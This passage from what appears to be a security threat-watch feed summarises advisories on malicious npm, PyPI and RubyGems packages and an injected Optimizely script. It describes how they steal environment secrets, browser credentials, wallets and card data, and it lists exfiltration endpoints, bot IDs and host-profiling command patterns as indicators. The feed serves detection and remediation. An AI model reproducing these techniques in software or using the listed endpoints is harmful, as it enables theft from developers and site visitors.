drain/transfer funds from exposed wallets; Assume MetaMask/Phantom browser-extension secrets are stolen — create new wallets and revoke associated permissions; Install the legitimate solana-py package only, pinning verified versions and using hash checking or a curated index ### [critical] rechargeapps RubyGems: dependency-confusion malware exfiltrates environment variables to webhook.site on install and load https://helix.ml/threat-watch/i/rechargeapps-rubygems-dependency-confusion-malware-exfiltrates-environment-variables-to-webhook-site-on-install-and-load · Supply chain · no-fix-needed · since 2026-11-18 A malicious gem 'rechargeapps' version 999.0.0 was published to RubyGems as a dependency-confusion squat on an internal-sounding package name. Its extension build script (run during gem install) reads /proc/self/environ (falling back to ENV) and POSTs it base64-encoded to a hardcoded webhook.site endpoint, with a second curl-based repost. Requiring the gem also POSTs the full process environment, pid and hostname to the same URL. The gem is otherwise empty, indicating its sole purpose is harvesting CI/build-host secrets such as tokens, cloud keys and registry credentials. No patched version exists; the gem was removed from the advisory's fix path entirely. Any CI or developer machine that installed or loaded the gem should be treated as having leaked its environment variables. Do: Search Gemfile.lock, CI logs and RubyGems install history for 'rechargeapps' version 999.0.0; Treat any host that installed or required the gem as compromised: rotate all environment-variable secrets (tokens, cloud keys, registry credentials); Review webhook.site and egress logs for callbacks to https://webhook.site/5f869495-8820-4e0a-b759-8c61e0b0d6ce; Configure private gem mirrors / Gemfile source pinning to prevent dependency confusion on internal gem names; Block egress to webhook.site from build and CI environments ### [critical] Malicious npm package 'adnanwaleed': full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-adnanwaleed-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub published advisory GHSA-24fx-2xw3-w835 on 2026-11-18 flagging the npm package 'adnanwaleed' version 1.0.0 as embedded malicious code (CWE-506). Any machine where the package is installed or running must be considered fully compromised, with attacker control of secrets, keys, and systems. The package has no known source code repository, no patched versions, and low reach (~13 downloads/month). Removal of the package does not guarantee removal of any malware it deployed. All organisations or developers who installed it should treat credentials as stolen and rotate them from a clean machine. Do: Immediately rotate all secrets, keys, and credentials stored on any machine where adnanwaleed was installed, using a clean computer; Remove the package and rebuild/reimage affected machines; do not trust a simple uninstall; Audit systems for persistence mechanisms and unexpected network connections; Check dependency trees and lockfiles for the package and block it in registries/proxies ### [critical] Malicious npm package 'adnanyahya' — full machine compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-adnanyahya-full-machine-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database published a malware advisory (GHSA-266h-2r44-vrfv) for the npm package 'adnanyahya' version 1.0.0, classified as CWE-506 embedded malicious code. Any machine with the package installed or running should be considered fully compromised, with attacker control implying potential theft of secrets, keys, and credentials. No patched version exists; the advisory recommends removal, though removal cannot guarantee the malicious software is fully eradicated. Reach appears limited (~2 downloads/month), but any developer or CI environment that installed it is at risk. No CVE is assigned; the package has no known source code repository. Do: Rotate all secrets, keys, and credentials stored on any machine where the package was installed, using a clean machine; Remove the package and rebuild/reimage affected machines and CI runners from trusted images; Audit install logs and dependency trees for adnanyahya@1.0.0 and block it in registries/proxies; Review for signs of persistence or exfiltration on affected hosts ### [critical] Malicious npm package ahmad-basikal compromises installers' machines https://helix.ml/threat-watch/i/malicious-npm-package-ahmad-basikal-compromises-installers-machines · Supply chain · no-fix-needed · since 2026-11-18 GitHub published a malware advisory (GHSA-x524-w3hq-7h99) on 2026-11-18 for the npm package ahmad-basikal, version 1.0.0, classified as CWE-506 embedded malicious code. Any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. No patched versions exist; the package has no known source code and roughly 131 downloads per month. Removal of the package does not guarantee removal of all malicious software it may have installed. Users should treat all secrets and keys on affected machines as stolen and rotate them from a clean computer. Do: Remove ahmad-basikal from all machines and CI environments; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Reimage or rebuild affected machines; audit for persistence mechanisms; Check dependency lockfiles and install history for exposure to the package ### [critical] Malicious npm package abiba-avbai-ayub — full machine compromise for installers (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-abiba-avbai-ayub-full-machine-compromise-for-installers-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's malware advisory database published GHSA-xr82-65pq-hwqf on 2026-11-18 flagging the npm package abiba-avbai-ayub version 1.0.0 as embedded malicious code (CWE-506). Any machine with the package installed or running must be considered fully compromised, with control potentially handed to an outside actor; secrets and keys on affected systems are at risk. The package sees roughly 128 downloads per month and has no patched versions — removal of the package alone cannot be assumed to remove all malicious software it may have deployed. No CVE is assigned, no source code exists, and no fix will be issued since the package is malware. Developers and CI systems that installed it should treat credentials as stolen and remediate accordingly. Do: Rotate all secrets, keys, and credentials stored on any machine where the package was installed, using a clean machine; Remove abiba-avbai-ayub@1.0.0 from all projects, lockfiles, and CI caches; Rebuild or reimage affected machines; do not assume removal cleans the system; Audit systems for signs of compromise and unexpected outbound connections; Block the package in npm registries, proxies, and dependency scanning policies ### [critical] Malicious npm package abiba-avi-aumaunnaaa — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-abiba-avi-aumaunnaaa-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database published a malware advisory (GHSA-f4pf-fffj-pv2f) for the npm package abiba-avi-aumaunnaaa, version 1.0.0, flagged as CWE-506 embedded malicious code. Any machine where the package is installed or running should be considered fully compromised, with full control potentially handed to an outside entity; all secrets and keys on affected machines must be rotated. No patched versions exist and no legitimate source code is known, so the only remediation is removal plus host forensics. Reach appears minimal (~1 downloads/month), but any install is treated as a compromise. No CVE is assigned; the advisory was published and reviewed on 2026-11-18. Do: Treat any machine with abiba-avi-aumaunnaaa installed as fully compromised; isolate and forensically examine it; Rotate all secrets, keys, and credentials stored on affected machines immediately, from a clean computer; Remove the package and audit for persistence mechanisms, since removal may not eliminate all malicious software; Block/flag the package in npm registries and CI dependency checks; scan dependency trees for it; Review npm install logs and CI pipelines for any history of the package ### [critical] @zakir300408/wechat-companion (npm): malicious package compromises installers' machines (no CVE) https://helix.ml/threat-watch/i/zakir300408-wechat-companion-npm-malicious-package-compromises-installers-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's malware advisory database flagged the npm package @zakir300408/wechat-companion version 0.1.0 as containing embedded malicious code (CWE-506). Per the advisory, any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. There are no patched versions; the package has no known source code and the advisory cannot be improved. Anyone who installed the package is affected; secrets and keys on those machines must be treated as stolen. Removal of the package alone does not guarantee removal of all malicious software it may have deployed. Published and reviewed 2026-11-18. Do: Rotate all secrets, keys, and credentials stored on any machine where the package was installed, using a clean computer; Remove the package and rebuild/reimage affected machines, as removal may not eliminate all malicious software; Audit affected systems for persistence mechanisms and unauthorized access; Block/flag the package in internal registries and dependency scanning; Review npm install logs to determine scope of exposure ### [critical] aamirhafiz (npm): malicious package compromises machines that install it (no CVE) https://helix.ml/threat-watch/i/aamirhafiz-npm-malicious-package-compromises-machines-that-install-it-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database published a malware advisory for the npm package aamirhafiz (version 1.0.0), classified as CWE-506 embedded malicious code. Any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; secrets and keys on affected machines are at risk. The package has roughly 129 downloads per month and no fixed or patched versions exist — removal of the package alone cannot be assumed to remove all malicious software. No CVE is assigned. Users who installed aamirhafiz 1.0.0 should treat their machines as compromised, rotate all credentials from a clean machine, and rebuild affected systems. Do: Remove aamirhafiz from all projects and lockfiles; Rotate all secrets, keys, and credentials stored on affected machines, using a clean computer; Rebuild or reimage affected machines; do not assume removal removes the malware; Audit npm dependencies for the package and block it in CI/CD and dependency scanning; Review access logs and monitor for suspicious activity from affected systems ### [critical] Malicious npm package abia-avugi-anina — full machine compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-abia-avugi-anina-full-machine-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub published advisory GHSA-rp45-vmj7-729c on 2026-11-18 flagging the npm package abia-avugi-anina version 1.0.0 as malware (CWE-506, embedded malicious code). The advisory states any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; removing the package does not guarantee removal of all malicious software. No patched versions exist and no source code is known. Reach appears limited (~6 downloads/month), but any machine that installed it must be treated as breached. Remediation is incident response, not an upgrade: remove the package, rotate all secrets from a clean machine, and rebuild. Do: Treat any machine with abia-avugi-anina installed as fully compromised; isolate and investigate; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Remove the package and rebuild/reimage affected systems rather than trusting cleanup; Audit npm dependency trees and CI caches for the package and block it in registries/proxies; Review access logs and network egress for signs of attacker control ### [critical] Malicious npm package 'adilfaheem' — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-adilfaheem-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's malware advisory database published GHSA-qfc8-px48-xx9p on 2026-11-18 flagging the npm package 'adilfaheem' version 1.0.0 as embedded malicious code (CWE-506). The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. There is no patched version and no known source code; the package sees roughly 21 downloads per month, so exposure is limited but real. Removal of the package is recommended but cannot be guaranteed to remove all malicious software it may have installed. Anyone who installed it should treat secrets and keys on affected machines as stolen and rotate them from a clean computer. Do: Rotate all secrets, keys, and credentials stored on any machine where adilfaheem was installed, using a different clean computer; Rebuild or wipe affected machines rather than trusting package removal; Audit systems and CI environments for the package and review for signs of compromise or persistence; Block adilfaheem in dependency allowlists and check lockfiles and dependency trees for it ### [critical] adilnabeel (npm): malicious package compromises machines that install it https://helix.ml/threat-watch/i/adilnabeel-npm-malicious-package-compromises-machines-that-install-it · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database published a malware advisory for the npm package adilnabeel, version 1.0.0, flagged as CWE-506 embedded malicious code. Any computer where the package is installed or running should be considered fully compromised, with full control potentially handed to an outside entity. There are no patched versions and no known source code; the only remediation is removal, which cannot guarantee the machine is clean. The package has very low reach (~3 downloads/month), limiting impact, but anyone who installed it must treat secrets and keys on the affected machine as stolen and rotate them from a clean computer. Do: Remove the adilnabeel package from all projects and machines; Rotate all secrets, keys, and credentials stored on affected machines, from a different clean computer; Rebuild/reimage compromised machines; audit for persistence and follow-on malware; Check dependency trees and lockfiles for adilnabeel@1.0.0 and block it ### [critical] Malicious npm package adiwibowo 1.0.0 — full machine compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-adiwibowo-1-0-0-full-machine-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's malware advisory database published GHSA-85cw-8h66-5jfr on 2026-11-18 flagging the npm package adiwibowo version 1.0.0 as embedded malicious code (CWE-506). Per the advisory, any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; removal of the package does not guarantee removal of all malicious software. No patched versions exist and no source code is known. Reach appears minimal (~4 downloads/month), but any machine that installed it must be treated as breached. Remediation is incident response, not an upgrade: remove the package, rotate all secrets from a clean machine, and rebuild affected systems. Do: Treat any machine that installed adiwibowo 1.0.0 as fully compromised; isolate and rebuild it; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Audit dependency trees and CI caches for adiwibowo and block/remove it; Review access logs and network egress for signs of attacker control; Harden npm install pipelines with malware scanning and allowlists ### [critical] Malicious npm package administrative_lark_replicate_automation compromises installers (GHSA-jhvj-53fv-pm4q) https://helix.ml/threat-watch/i/malicious-npm-package-administrative-lark-replicate-automation-compromises-installers-ghsa-jhvj-53fv-pm4q · Supply chain · no-fix-needed · since 2026-11-18 GitHub published a malware advisory (GHSA-jhvj-53fv-pm4q, CWE-506) for the npm package administrative_lark_replicate_automation, version 2.4.2. The package is classified as embedded malicious code: any computer where it is installed or running should be considered fully compromised, with control potentially handed to an outside entity. No patched version exists and no legitimate source code is known; the only remediation is removal, which cannot guarantee the machine is clean. Reach is small (~11 downloads/month), but anyone who installed version 2.4.2 is affected. Secrets and keys on affected machines must be treated as stolen and rotated from a clean computer. Do: Rotate all secrets, keys, and credentials stored on any machine that installed the package, using a different clean computer; Remove administrative_lark_replicate_automation 2.4.2 from all systems and lockfiles; Rebuild/reimage affected machines; removal does not guarantee all malicious software is gone; Audit for persistence, unexpected processes, and outbound connections on affected hosts; Block the package name in npm registries/proxies and review dependency resolution for typosquatting or hijacked installs ### [critical] Malicious npm package qrcode-reader-vue3 — full machine compromise for users of version 3.1.4 (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-qrcode-reader-vue3-full-machine-compromise-for-users-of-version-3-1-4-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub published advisory GHSA-9q69-8j7m-ppmh on 2026-11-18 flagging the npm package qrcode-reader-vue3 as malware. Version 3.1.4 contains embedded malicious code (CWE-506) and no patched version exists; the advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. The package has roughly 3,898 monthly downloads and 13 dependent repositories, so downstream projects and developer machines may be affected. Removal of the package does not guarantee removal of all malicious software it installed. No CVE is assigned; remediation is incident response rather than a version upgrade. Do: Rotate all secrets, keys, tokens and credentials stored on machines where qrcode-reader-vue3 3.1.4 was installed, using a clean computer; Remove the package from all projects and lockfiles and audit dependencies (including the 13 dependent repos) for it; Rebuild or thoroughly forensically clean affected machines; assume full compromise and possible persistence; Review logs and network traffic for signs of exfiltration or attacker access; Block the package in internal registries and CI to prevent reintroduction ### [critical] react-cache-hook (npm): malicious package compromises any machine where it is installed; no safe version exists https://helix.ml/threat-watch/i/react-cache-hook-npm-malicious-package-compromises-any-machine-where-it-is-installed-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database published GHSA-pjx5-g5xc-q286 on 2026-11-18 flagging the npm package react-cache-hook as malware (CWE-506, embedded malicious code). Every published version (>= 0) is affected and there are no patched versions, so any installation grants attackers full control of the machine. The advisory states computers running the package should be considered fully compromised and that removal does not guarantee removal of all malicious software. Reach appears limited (~320 downloads/month), but any developer or CI environment that installed it is assumed compromised. No fix exists; remediation is removal plus full incident response. Do: Rotate all secrets, keys, and credentials that were on any machine where react-cache-hook was installed, using a clean machine; Audit npm lockfiles and CI caches for react-cache-hook and remove it everywhere; Rebuild/reimage affected developer machines and CI runners; do not trust removal alone; Review logs and network traffic for signs of exfiltration or attacker access; Block the package in npm/registry policy and dependency scanning going forward ### [critical] Malicious npm package @tobyvalk123/tixte — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-tobyvalk123-tixte-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database published GHSA-2w6h-pw36-42xm on 2026-11-18 flagging the npm package @tobyvalk123/tixte as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists. The advisory warns that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, and that removing the package does not guarantee removal of all malicious software. Anyone who installed the package — likely developers using Tixte file-hosting via this unofficial client — is affected. There is no fix; remediation is incident response: remove the package and rotate all secrets from a clean machine. Do: Treat any machine where the package was installed or run as fully compromised; rebuild from clean media; Rotate all secrets, keys, tokens and credentials stored on affected machines, from a different clean computer; Remove the package from all projects, lockfiles and CI pipelines and audit for persistence mechanisms; Review npm install logs and dependency trees for other packages by the same or related authors; Block the package name in internal registries and dependency scanning ### [critical] Malicious npm package cortico-world-see-now 0.2.2 compromises installed machines https://helix.ml/threat-watch/i/malicious-npm-package-cortico-world-see-now-0-2-2-compromises-installed-machines · Supply chain · no-fix-needed · since 2026-11-18 GitHub's malware advisory database flagged the npm package cortico-world-see-now (version 0.2.2) as containing embedded malicious code (CWE-506). Per the advisory, any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. No patched version exists; the package must simply be removed, though removal may not eliminate all malicious software planted during installation. The package sees roughly 1,257 downloads per month, so any developer or CI environment that installed version 0.2.2 is at risk. All secrets and keys on affected machines should be treated as stolen and rotated from a clean computer. Do: Stop using and uninstall cortico-world-see-now 0.2.2 from all machines and CI pipelines; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Rebuild/reimage compromised machines; removal of the package does not guarantee removal of malware; Audit dependency lockfiles and caches for the package and block it in registries/proxies ### [critical] jest-test (npm): malicious package fully compromises machines that install it; no safe version exists https://helix.ml/threat-watch/i/jest-test-npm-malicious-package-fully-compromises-machines-that-install-it-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-18 GitHub published a malware advisory (GHSA-4g5f-v2qx-j2qp, CWE-506 Embedded Malicious Code) for the npm package jest-test on 2026-11-18. Every published version (>= 0) is malicious and there are no patched versions, so any installation grants an outside party full control of the machine. Any computer with the package installed or running must be considered fully compromised, with secrets and keys at risk of exfiltration. The package is low-volume (~458 downloads/month, 1 dependent repo) but the compromise is total for affected hosts. Removal of the package alone cannot be assumed to remove the malicious software. No fix exists; remediation is host-level incident response and credential rotation. Do: Treat any machine with jest-test installed as fully compromised; isolate and forensically review it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove jest-test and rebuild affected systems from trusted images; Audit dependency trees and CI pipelines for jest-test or typosquat variants and block the package; Review logs and network traffic for signs of exfiltration or attacker access ### [critical] fiddle-js (npm): malicious package fully compromises machines that install it (no CVE) https://helix.ml/threat-watch/i/fiddle-js-npm-malicious-package-fully-compromises-machines-that-install-it-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database published GHSA-vv85-jxhh-6fhc on 2026-11-18 flagging the npm package fiddle-js as embedded malware (CWE-506). All versions (>= 0) are affected and no patched version exists; the package has no known source code repository and sees roughly 20 downloads per month. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, so removal of the package alone cannot be assumed to remove all malicious software. Any developer, CI system, or end user that installed fiddle-js is affected; secrets and keys on those machines are presumed stolen. There is no fix — remediation is removal plus credential rotation and system rebuild. Do: Immediately stop using and remove fiddle-js from all projects, lockfiles, and CI caches; Rotate all secrets, keys, tokens, and credentials stored on or accessible from affected machines, from a clean computer; Rebuild or reimage affected machines; do not assume package removal removed the malware; Audit npm dependencies and lockfiles for fiddle-js and review logs for suspicious activity since installation; Block fiddle-js in package registries, proxies, and CI pipelines ### [critical] @cutehttp npm packages (encode-url, strict-uri-encode) published as malware — full host compromise; no safe version https://helix.ml/threat-watch/i/cutehttp-npm-packages-encode-url-strict-uri-encode-published-as-malware-full-host-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-18 GitHub's advisory database flagged two npm packages under the @cutehttp scope — @cutehttp/encode-url and @cutehttp/strict-uri-encode — as malware (CWE-506, embedded malicious code), published and reviewed 2026-11-18. Every version (>= 0) is affected and no patched versions exist, so any installation is considered a compromise rather than a vulnerable dependency. The advisory language indicates the packages grant attackers full control of affected machines, meaning secrets and keys on those hosts are exposed and removal of the package does not guarantee removal of the malicious software. Any developer or CI system that installed either package should treat the host as fully compromised, rotate all credentials from a clean machine, and rebuild affected environments. Do: Remove both @cutehttp/encode-url and @cutehttp/strict-uri-encode from all projects, lockfiles and caches; Treat every machine that installed or ran them as fully compromised; rotate all secrets, keys and tokens from a clean computer; Rebuild/reimage affected developer machines and CI runners; Audit npm install logs and dependency trees for other @cutehttp packages; Block the @cutehttp scope in npm registry proxies and internal policy ### [critical] PyPI malware: qimsdk-app-builder — install/import exfiltrates host info (no CVE) https://helix.ml/threat-watch/i/pypi-malware-qimsdk-app-builder-install-import-exfiltrates-host-info-no-cve · Supply chain · no-fix-needed · since 2026-11-18 GitHub Advisory Database (GHSA-3qjx-3879-f59j, published 2026-11-18) flags the PyPI package qimsdk-app-builder as malicious. Versions 0.0.0 and 0.1.0 override the install command in setup.py so that malicious code executes during pip install; importing the module also exfiltrates basic host information such as IP address and username. The package has no legitimate purpose and there are no patched versions — removal is the only remediation. Credited to kam193 via the OpenSSF malicious-packages database, it is categorized as PROBABLY_PENTEST with limited-harm data exfiltration. Any developer or CI system that installed or imported the package is affected; no CVE is assigned. Do: Search pip logs, requirements files, and lockfiles for qimsdk-app-builder versions 0.0.0 or 0.1.0 and remove them; If installed, treat the host as compromised: rotate credentials accessible to the build/user account and review outbound connections from install time; Audit CI/CD pipelines and developer workstations for the package and block it in dependency firewalls/proxies; Prefer hashed, pinned dependencies from internal mirrors with malware scanning ### [critical] npm malware wave: tailwindcss-animation-suite, @nexoratechorg/postcss-keyframes, stellar-api-core/safe — malicious packages fully compromise machines https://helix.ml/threat-watch/i/npm-malware-wave-tailwindcss-animation-suite-nexoratechorg-postcss-keyframes-stellar-api-core-safe-malicious-packages-fu · Supply chain · no-fix-needed · since 2026-11-18 On 2026-11-18 GitHub published four malware advisories for npm packages: tailwindcss-animation-suite (GHSA-jqf4-9m2v-868j), @nexoratechorg/postcss-keyframes (GHSA-j475-jg98-766v, ~100 downloads/month), stellar-api-core (GHSA-x5g6-2wvp-v57q) and stellar-api-safe (GHSA-xrvx-xq53-6q5c, ~136 downloads/month). All versions (>= 0) are affected, no patched versions exist, and each carries CWE-506 embedded malicious code. GitHub's guidance states any machine with these packages installed or running should be considered fully compromised, with attacker control implying secrets and key theft; removal of the package does not guarantee removal of the malicious software. Any developer or CI environment that installed these packages is affected. Do: Remove all four packages from every project, lockfile and CI cache immediately; Rotate all secrets, API keys, tokens and credentials stored on or accessible from affected machines, using an uncompromised computer; Rebuild affected machines or containers from clean images; do not assume uninstalling the package removed the malware; Audit logs and network traffic for signs of exfiltration or attacker access; Check dependency trees and lockfiles for these packages and block them in registry proxies/allowlists ### [critical] WhiteSnake infostealer campaign: PyPI packages aeivasta, libidreq, quick-telegram-sender, test23414234234 — malicious setup.py steals credentials, wallets and Telegram sessions during pip install https://helix.ml/threat-watch/i/whitesnake-infostealer-campaign-pypi-packages-aeivasta-libidreq-quick-telegram-sender-test23414234234-malicious-setup-py · Supply chain · no-fix-needed · since 2026-11-18 Four PyPI packages — aeivasta, libidreq, quick-telegram-sender and test23414234234 — were identified as WhiteSnake infostealer droppers. Their setup.py runs base64-encoded code via exec during pip install: on Windows it drops and launches an embedded ~158 KB executable; on Linux it profiles the host (lsb_release, uname), checks public IP/ISP via ip-api.com (skipping Google and Mythic Beasts sandboxes), takes a screenshot, and collects Firefox/Thunderbird credential and cookie stores, FileZilla servers, Pidgin accounts, Telegram Desktop tdata sessions and Electrum/Exodus wallets, then RC4-encrypts and uploads the archive to a Telegram bot. Sandboxed installs observed connections to ip-api.com and api.telegram.org. Anyone who pip-installed these packages is compromised. All packages have been removed from PyPI; there are no patched versions — removal of the dependency and full credential/session revocation is required. Do: If any of these packages were installed, treat the machine as compromised: revoke and rotate all browser-saved passwords, Telegram sessions, FTP/FileZilla credentials and cryptocurrency wallet keys, and rebuild the host; Hunt for indicators: Wde24bc9faebba164d8c8467a5f7840.exe in temp dirs, connections to ip-api.com and api.telegram.org, RC4-encrypted archive uploads, bot ID 6209822134 / chat -1001529292045; Audit dependency lockfiles and CI caches for the package names and pin only reviewed dependencies; prefer --no-build-isolation audits or hash-pinned wheels from trusted sources; Block egress to ip-api.com and api.telegram.org from build environments and monitor for the host-profiling command pattern (lsb_release -a, uname -rs, uname -p) during installs ### [critical] Dependency-confusion malware: canvas_webgl_minimal & playwright-config exfiltrate system data via Discord webhook https://helix.ml/threat-watch/i/dependency-confusion-malware-canvas-webgl-minimal-playwright-config-exfiltrate-system-data-via-discord-webhook · Supply chain · no-fix-needed · since 2026-11-18 Two npm packages, canvas_webgl_minimal (11.11.13) and playwright-config (20.20.20), published 2026-02-23, contained malicious preinstall/preupdate scripts running node index.js. The script reads /etc/passwd, attempts the Windows SAM hive and C:\Users, lists the working directory, runs id/whoami, and collects username, home directory, UID/GID and OS release, posting everything to a hardcoded Discord webhook. Messages are labelled 'Dependency Confusion Executed' and 'Bug Bounty Execution', indicating a researcher-style probe that nonetheless runs without consent on any installer's machine. The identical index.js (sha256 fb8451975ead...) is shared by both packages and the same webhook is used by google-caja-bower (MAL-2026-10186). The packages were unpublished from npm on 2026-02-24; no patched versions exist, so any machine that installed them must be treated as compromised. Do: Search lockfiles, CI logs and package caches for canvas_webgl_minimal@11.11.13 and playwright-config@20.20.20 and for the sha256 fb8451975ead2a956d3d8092eb2868d1ba9135fb6ef30e75941b1454958f75ae index.js; If installed anywhere, treat the machine/runner as compromised: rotate credentials accessible to that user, review what the account could reach, and rebuild from clean images; Check network/DNS logs for connections to the hardcoded Discord webhook and block Discord webhook egress from build environments; Audit npm install scripts (ignore-scripts, --ignore-scripts in CI) and enforce dependency allowlists to mitigate dependency-confusion typosquats ### [critical] robloxapiaccess (PyPI): malicious info-stealer posing as Roblox API library steals Discord tokens, Chrome passwords and cookies https://helix.ml/threat-watch/i/robloxapiaccess-pypi-malicious-info-stealer-posing-as-roblox-api-library-steals-discord-tokens-chrome-passwords-and-cook · Supply chain · no-fix-needed · since 2026-11-18 The PyPI package robloxapiaccess, posing as a 'RobloxAPI Access' library by 'Aristal-Development', is an information stealer. The exported robloxmessage() function in RobloxAPIACCESS.py collects host, IP and geolocation details, extracts Discord tokens from Discord clients' Local Storage leveldb, decrypts Chrome saved passwords, harvests browser cookies via browser_cookie3, and exfiltrates everything to a Discord webhook (hardcoded in 0.0.2, blank in 0.0.1). A comment claims educational purposes only. Versions 0.0.1 and 0.0.2 are both affected; the package was published 2023-03-18 and has since been removed from PyPI. No patched version exists. Anyone who installed it and ran robloxmessage() should assume credentials and browser data were stolen. Do: Check whether robloxapiaccess 0.0.1 or 0.0.2 was ever installed (pip list, lockfiles, CI logs) and remove it; If installed and executed, rotate Discord tokens, Chrome-saved passwords, and invalidate browser cookies/sessions on affected machines; Rebuild affected machines and audit for persistence; review outbound webhook traffic; Block the hardcoded Discord webhook ID and monitor for related exfiltration attempts ### [critical] Telegram-exfiltrating typosquat npm packages (base128-x58, base60-58x, bs58-60, npm-bs58.js) — wallet private key theft https://helix.ml/threat-watch/i/telegram-exfiltrating-typosquat-npm-packages-base128-x58-base60-58x-bs58-60-npm-bs58-js-wallet-private-key-theft · Supply chain · no-fix-needed · since 2026-11-17 OpenSSF and GitHub advisory databases flagged four malicious npm packages published by a single actor: base128-x58 and base60-58x are copies of the base-x encoding library with an obfuscated statement injected at the start of decode(); bs58-60 and npm-bs58.js are bs58 look-alikes that delegate to them. Every call to decode() POSTs the input string — in practice a wallet private key — to hardcoded Telegram bots (bot8016635959, bot7837266935, bot8177895028). Any application using these packages to decode Base58 data leaks keys to the attacker. No patched versions exist; the packages remain published with no fix. Users of the legitimate base-x/bs58 libraries are unaffected. Do: Search lockfiles and node_modules for base128-x58, base60-58x, bs58-60 and npm-bs58.js and remove them immediately; Treat any wallet private key or secret passed through decode() in affected projects as compromised; rotate keys and move funds; Audit dependencies for typosquats of base-x, bs58 and related crypto encoding libraries; pin exact versions of trusted packages; Review egress logs for connections to Telegram bot API endpoints; Enable npm provenance/attestation checks and restrict installs to allowlisted packages ### [critical] vuln-app RubyGems: malicious gem exfiltrates installer host data via Burp Collaborator on gem install https://helix.ml/threat-watch/i/vuln-app-rubygems-malicious-gem-exfiltrates-installer-host-data-via-burp-collaborator-on-gem-install · Supply chain · no-fix-needed · since 2026-11-18 A malicious RubyGems package, vuln-app 1.2.1, was identified and published to the GitHub Advisory Database (GHSA-fcw8-r3p6-3gcc) on 2026-11-18, credited to OpenSSF malicious-packages and Amazon Inspector. The gem declares ext/mkrf_conf.rb as a native extension so RubyGems auto-executes it during gem install. The script performs no build; instead it collects hostname, login user, cwd, home directory, and contents of /etc/passwd, /etc/hosts, and /etc/resolv.conf, serializes them as JSON, and POSTs them over TLS to a hardcoded Burp Collaborator endpoint (g1im618xdjpuonmkxq16mr33quwlm9cx1.oastify.com:443), then writes a .installed sentinel file. Anyone who installed version 1.2.1 had host information exfiltrated. No patched version exists; the package is malware and should be removed. Do: Check whether vuln-app 1.2.1 was installed on any host (gem list, lockfiles, CI logs); remove it and purge it from Gemfile/lockfiles; Treat any machine where it was installed as having leaked host details; review /etc/passwd, /etc/hosts, /etc/resolv.conf exposure and rotate credentials tied to those hosts/users; Block egress to g1im618xdjpuonmkxq16mr33quwlm9cx1.oastify.com and hunt logs for TLS connections to it; Audit gems with ext/mkrf_conf.rb that contain no build logic before installing; prefer pinned, reviewed dependencies ### [high] OPTIMJACK: attacker-written Optimizely project JS served wallet clipper and card skimmer to 178 orgs https://helix.ml/threat-watch/i/optimjack-optimizely-hosted-scripts-served-crypto-clipper-and-card-skimmer-on-186-sites · Supply chain · patched · since 2026-11-16 On 2026-11-16 an attacker wrote malicious code into the Project JavaScript field of Optimizely Web customer projects, so the per-project snippets served from cdn.optimizely.com (and from some customers' own domains) carried a loader for 1688360[.]cc/track.js. Report URI's Scott Helme counted 188 infected snippets belonging to 178 organisations out of 1,611 checked, named sites including Zoom, BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM and Ledger, and says the real number is probably higher. The first injection was seen at 04:21 UTC. The payload swaps copied or displayed wallet addresses on eight chain families, and from 13:43 UTC it also skims Luhn-valid card details typed into a site's own fields (hosted payment iframes were out of reach). After a swap it sends the page URL, non-HttpOnly cookies and a screenshot to the attacker, and on older iPhones and iPads it loads Coruna and DarkSword exploit-kit loaders from .icu domains. Attacker wallets had received about $7,040 by 19:25 UTC; how many cards or cookies were taken is unknown. Optimizely says an unauthorised party exploited a vulnerability in its Experimentation account signup flow to add the code; neither its statement nor its 2026-11-17 status notice explains how a signup gave write access to other customers' projects. It says it blocked the vulnerable path, deployed a fix, removed the injected code and notified affected customers. Most snippets were clean by 21:10 UTC on 2026-11-16. Hudson Rock traced the same loader and mobile-router infrastructure to Kissmetrics, StorifyMe and Minute Media scripts from 2026-11-13, so a clean Optimizely snippet does not 